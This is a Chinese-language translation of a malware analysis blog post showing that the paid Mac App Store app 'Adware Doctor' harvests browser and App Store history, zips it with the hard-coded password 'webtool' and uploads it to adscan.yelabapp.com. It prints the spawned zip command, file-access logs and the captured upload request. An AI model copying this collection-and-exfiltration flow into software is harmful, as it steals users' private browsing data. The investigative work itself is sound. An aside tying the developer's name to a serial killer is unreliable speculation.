导语:广告医生是一个非常流行的应用程序,它会偷偷地窃取你的浏览记录。

背景

你很信任官方Mac应用程序商店的应用程序对吗?

毕竟苹果官方说:

你的Mac电脑下载应用程序最安全的地方是Mac应用程序商店。苹果会在应用程序被商店接受之前对其进行审查,如果应用程序有任何问题,苹果会迅速将其从商店中移除。

然而,这些说法是否属实还值得怀疑。因为苹果应用商店最畅销的应用之一——广告医生,偷偷的将高度敏感的用户信息泄露给疑似为中国的开发商。尽管苹果在一个月前就与其取得了联系,并承诺会进行调查,但苹果应用程序商店仍然可以使用这款应用程序。

注意:

广告医生的恶意行为最初是由@privacyis1st发现的。在他的帮助下,我们共同调查了这个问题。

广告医生

广告医生声称自己可以去除苹果电脑中常见的所有广告,同时也是这一领域内最佳的应用程序。

1.png

在官方的Mac应用程序商店,这个应用程序非常流行。它是排名第四的最赚钱的应用程序……这意味着它被列在了苹果的主页上!

2.png

在“付费软件”这一类别中,广告医生拥有令人羡慕的头衔:

3.png

它以4.99美元的价格,让软件开发商赚了一大笔钱。

值得注意的是,暂时没有关于应用程序开发者的更多信息,只知道他的名字叫“张XX”。然而,“张XX”是一个臭名昭著的中国连环杀手,这相当有趣,也许不是巧合。

麻烦的过去

我们发现广告医生有一个相当不道德的历史。在2016年,它被显示使用了AppleScript,这显然是为了执行更高操作,而这恰恰违反了苹果商店的指南。

4.png

大约在同一时间,托马斯·里德指出:

几周前,这个应用程序还在使用“Adware Medic”这个名字,这个名字和我自己非常流行的AdwareMedic应用程序同名,这款应用程序被Malwarebytes收购了。苹果公司很快就把它从商店里下架了,但它很快就以Adware Doctor的身份上架了。

最后,广告医生(以及其他由同一开发者开发的应用)的评论很可能是假的,因为该应用程序在富有见地的帖子“苹果商店里的应用程序带有假评论”中被特别讨论过。也许它真的是有史以来最令人惊奇的软件之一。

5.png

但这似乎不太可能,尤其是在我们进一步了解这款应用的评论之后。

6.png

然而,尽管这些过去的行为相当狡猾或不诚实,一些人会狡辩,它们并非明显不合情理。虽然这些不道德的行为有很多都被报告给苹果,但不幸的是,苹果公司并没有采取果断的行动。当然,这只会鼓励应用程序开发人员,因为他们在某个时候越过了一条站不住脚的界线。

你偷了我的浏览器历史记录?

@ privacyisfirst在最近的一条推特上写道:

广告医生正在窃取你的隐私。

7.png

在这条推特上,他发布了一个视频链接,视频显示Adware Doctor正在收集和秘密窃取包括浏览器历史在内的各种敏感用户数据。 

所以,让我们一起来看看发生了什么!我们通过使用静态分析(拆解)和动态分析(网络监视、文件监视和调试)的组合,能清楚的了解正在发生的事情,并最终确认@privacyis1st令人担忧的发现是真的!

首先,让我们从官方的Mac App Store下载Adware Doctor…是的,付4.99美元。我们可以确认应用程序(就像Mac应用程序商店中的所有应用程序一样)是由苹果公司正式签署的:

8.png

启动应用程序时,我们可以看到它通过HTTPS发出各种网络请求。例如,它连接到adwarres .securemacos.com并对/AdwareDoctor/master.1.5.5.js发出GET请求

9.png

如网络捕获所示,下载的master.1.5.5。js文件包含一些基本的JSON配置数据:

{
 "disable_rate": false,  "disable_prescan": false, "sk_on": false, "faq_link": "http://www.adwaredoctor.com/adware-doctor-faq/"
 }

点击应用程序UI中的“Clean”按钮会触发另一个网络请求,同样是adwareres.securemacos.com,但这次要下载第二个名为config1.5.0.js的文件:

10.png

config1.5.0.js文件包含更多的JSON,最引人注目的是链接到广告的签名数据库。

{
    "update": true,
    "version": "201808243",
    "url": "https://adwareres.securemacos.com/patten/file201808243.db"
}

毫不奇怪,应用程序下载了这个数据库:

11.png

不过,如果我们试图偷看一下它的内容,它们似乎是加密的(通常是反广告软件/反病毒签名的情况):

12.png

然而,在调试器中,我们只是等待,直到应用程序在内存中解密文件,并转储(现在)明文内容:

(lldb)
binaryContentMatchPatten = ({   
   md5 = (       
       48a96e1c00be257debc9c9c58fafaffe,       
       f1a19b8929ec88a81a6bdce6d5ee66e6,       
       3e653285b290c12d40982e6bb65928c1,       
       801e59290d99ecb39fd218227674646e,       
       8d0cd4565256a781f73aa1e68e2a63de,       
       e233edd82b3dffd41fc9623519ea281b,       
       1db830f93667d9c38dc943595dcc2d85,       
       ...
browserHomePagePatten = (
{   
    name = "Chrome homepage: safefinder";   
    patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew";
},       
         {   
    name = "Chrome homepage: safefinder";   
    patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn";
 },       
         {   
    name = "Chrome homepage: safefinder";   
    patten = "Chrome.*searchword.*/90/";
 },
 ...
 filePathPatten = ( 
 "/Applications/WebShoppers",  
 "/Applications/WebShoppy",  
 "/Applications/SoftwareUpdater",  
 "/Applications/webshoppers",  
 "~/Library/Application Support/WebTools", 
 "~/Library/WebTools", 
 "/Applications/WebTools",
  "/Applications/WebTools.app", 
  "/Applications/SmartShoppy",  
  "/Applications/ShopTool", 
  "/Applications/ShoppyTool", 
  "/Applications/EasyShopper",  
  ...
  launchPathMatchPatten = (  
  "com.WebShoppers.agent.plist",  
  "com.WebShoppy.agent.plist",  
  "com.webshoppers.agent.plist",  
  "com.SoftwareUpdater.agent.plist",  
  ...       
  whitelist =  (  
  "~/Library/LaunchAgents/com.spotify.webhelper.plist", 
  "/Library/LaunchDaemons/com.intel.haxm.plist",  
  "/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist", 
  "/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",  
  "/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist"
  "/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",  
  "/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",  
  "/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist", 
  "/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist", 
  "/Library/LaunchAgents/com.microsoft.update.agent.plist", 
  "/Library/LaunchDaemons/com.crashplan.engine.plist" 
  ...

这些看起来像合法的反广告软件签名,散列与已知的广告软件相匹配:

13.png

比如广告.MAC.Pirrit:

14.png

回到广告医生的 UI,它可以“清理”你的系统:

15.png 

直到这一点在我们的分析出现,虽然这就是事情变得可疑的地方。

首先,在运行文件监视器(比如苹果内置的fs_usage)和过滤(不敏感地)包含历史记录的文件时,我们注意到一些非常有趣的文件访问: 

# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history
Adware Doctor.44148  open  ~/Library/Application Support/<b>CallHistoryTransactions</b>
Adware Doctor.44148  open  ~/Library/Application Support/<b>CallHistoryDB</b>                                                                                                                 
Adware Doctor.44148  RdData[A]  /dev/disk1s1/Users/user/Library/Safari/<b>History.db</b>
Adware Doctor.44148  lstat64    /Users/user/Library/Application Support/Google/Chrome/Default/<b>History</b>
Adware Doctor.44148  open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip
Adware Doctor.44148  lstat64    ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo
Adware Doctor.44148  WrData[A]  ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory
Adware Doctor.44148  WrData[A]  ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory
Adware Doctor.44148  WrData[A]  ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory
Adware Doctor.44148  WrData[A]  ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory

如果我们运行一个进程监视器(比如我的开源ProcInfo实用程序),我们可以观察Adware Doctor生成内置的zip实用程序来创建一个受密码保护的 history.zip

# ./procInfo
process start:
pid: 2634
path: /bin/bash
args: (
    "/bin/bash",
    "-c",
    "zip -r --quiet -P webtool \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/<b>history.zip</b>\" \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history\" > /dev/null"
)

此外,网络代理监视器捕获从广告医生到adscan.yelabapp.com的连接尝试:

16.png

通过编辑系统的/etc/hosts文件,我们可以将此请求重定向到我们控制的服务器,并捕获Adware Doctor试图上载的内容。你认为会是什么呢?如果你猜到了history.zip 文件,那么你是对的! 

# python https.py
listening for for HTTPS requests on port:443
192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -
Headers:
Host: adscan.yelabapp.com
Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510
Connection: keep-alive
Accept: */*
User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)
Content-Length: 15810
Accept-Language: en-us
Accept-Encoding: br, gzip, deflate
Path: /1/checkadware
Attachment: 'history.zip' (length: 15810)

上传的history.zip档案是密码保护:

17.png

幸运的是,弄清楚密码并不重要。回顾过程的输出监视器,一个可以看到密码传递给邮政通过命令行实用程序:zip -r –quiet -P webtool

密码也硬编码到应用程序的二进制文件中(稍后我们会讲到,当反转二进制文件的各个部分时)。

让我们解压存档,输入webtool作为密码:

18.png

正如@privacyis1st所指出的,广告医生确实在暗中窃取你的浏览器历史:

$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/chromeHistory
Person 1:
https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57
https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed  2018-08-20 21:19:36
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/safariHistory
https://www.google.com/search?client=safari&rls=en&q=What+are+the+best+investment+opportunities+in+Nigeria1397-06-02 08:29:41
https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20

通过重定向DNS解析,我们可以很容易的捕获出的数据。

本文简单介绍了广告医生是如何窃取浏览器数据的,下片文章将介绍其带来的影响及危害。

源链接

Hacking more

...